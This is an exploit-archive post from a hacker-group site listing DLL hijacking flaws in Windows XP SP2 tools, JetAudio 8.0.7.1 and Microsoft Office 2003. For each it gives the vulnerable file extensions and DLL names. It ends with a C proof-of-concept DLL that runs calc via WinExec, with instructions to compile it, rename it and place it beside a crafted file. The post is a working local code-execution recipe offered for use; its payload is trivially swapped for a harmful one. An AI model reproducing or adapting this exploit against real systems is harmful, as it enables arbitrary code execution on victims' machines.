Windows Xp sp2 + JetAudio v8.0.7.1 + M-Office 2003 DLL Hijacking

=================================================================================
                      .__         .__  __            .__    .___

  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ | 
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ | 

 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ | 
     \/      \/|__|                                          \/ 
 
			Exploit-ID is the Indonesian Exploit Archive
 
Web             : exploit-id.com	

e-mail          : root[at]exploit-id.com               

                      #########################################
                       I'm Caddy-Dz ,  member of exploit-id.com

                      #########################################			  
================================================================================
####
# Exploit Title: Windows Xp sp2 + JetAudio v8.0.7.1 + M-Office 2003 DLL Hijacking Exploits
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: [email protected]  |  [email protected]
# Category:: Local Exploit
# Tested on: [Windows Xp Sp2 France]
####

[*] 1- Windows Xp Sp2 (grpconv.exe <= imm.dll) DLL Hijacking Exploit

grpconv.exe is a Windows Operating System tool. It is used to convert Windows 3.1 groups to folders when upgrading to Windows 95 or later. This program is important for the stable and secure running of your computer and should not be terminated.
grpconv.exe is a system process that is needed for your Windows system to work properly. It should not be removed

||> Vulnerable extensions:

.grp

||> Vulnerable Dlls:

imm.dll

[*] 2- Windows Xp Sp2 (wab.exe <= wab32res.dll) DLL Hijacking Exploit

wab.exe (Windows Address Book) is a part of the Windows Operating system and is used to store addresses, contact details and e-mail addresses for use by such programs like Outlook.

||> Vulnerable extensions:

.p7c

||> Vulnerable Dlls:

wab32res.dll

[*] 3- JetAudio v 8.0.7.1 (dwmapi.dll) DLL Hijacking Exploit

||> Vulnerable extensions:

.jsk  |  .jlr

||> Vulnerable Dlls:

dwmapi.dll

[4] 4- Microsoft Office 2003 (mstore.exe <= twcgst.dll) DLL Hijacking Exploit

mstore.exe is a process belonging to the Microsoft Office Family of products and is described as the Microsoft Clip Organizer, a utility which organizes your media files for use with Office applications.

[*] Vulnerable extensions:

.mpf

[*] Vulnerable Dlls:

twcgst.dll

[**] Compile and rename to dll Vulnerable & create a file in the same dir 
----------------------------------------------------

#include <windows.h>
#define DllExport __declspec (dllexport)
 
DllExport void hook_startup() { exp(); }
 
int exp()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}


###

[*]  Peace From Algeria

###

=================================**Algerians Hackers**=======================================
# Greets To : 
  KedAns-Dz & **All Algerians Hackers** , jos_ali_joe , All Exploit-Id Team ,  (exploit-id.com) 
  (1337day.com) , (09exploit.com) , All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer ,
   MaaTar , St0fa , Nissou , RmZ ...others
============================================================================================



#  0day.today [2018-02-21]  #